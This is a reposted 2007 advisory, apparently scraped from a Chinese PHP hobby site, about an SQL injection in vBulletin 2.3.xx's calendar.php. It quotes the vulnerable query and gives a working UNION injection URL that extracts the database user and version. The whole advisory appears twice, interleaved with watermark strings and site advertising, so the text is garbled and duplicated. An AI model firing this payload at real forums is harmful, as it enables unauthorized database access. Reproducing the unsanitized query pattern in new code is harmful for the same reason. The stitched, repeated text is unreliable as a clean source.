vBulletinForum2.3.xxSQLInjection
时间:2007-02-17 来源:PHP爱好者
vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php.
www.c hinaitpower.comljPa6O3vVB3AGekAQyfIVll9na
-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
-----------------------------------------------------
www.c hinaitpower.comljPa6O3vVB3AGekAQyfIVll9na
If the MySQL version is greater than 4.00, a UNION attack could be used.
www.c hinaitpower.comljPa6O3vVB3AGekAQyfIVll9na
-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev
ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------
www.c hinaitpower.comljPa6O3vVB3AGekAQyfIVll9na
The query_first function will only return the first row of the query result, so make sure it returns !
the one you want.
php爱好者站 http://www.phpfans.net 网页特效|网页模板
www.c hinaitpower.comljPa6O3vVB3AGekAQyfIVll9na
-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
-----------------------------------------------------
www.c hinaitpower.comljPa6O3vVB3AGekAQyfIVll9na
If the MySQL version is greater than 4.00, a UNION attack could be used.
www.c hinaitpower.comljPa6O3vVB3AGekAQyfIVll9na
-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev
ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------
www.c hinaitpower.comljPa6O3vVB3AGekAQyfIVll9na
The query_first function will only return the first row of the query result, so make sure it returns !
the one you want.
php爱好者站 http://www.phpfans.net 网页特效|网页模板
相关阅读 更多 +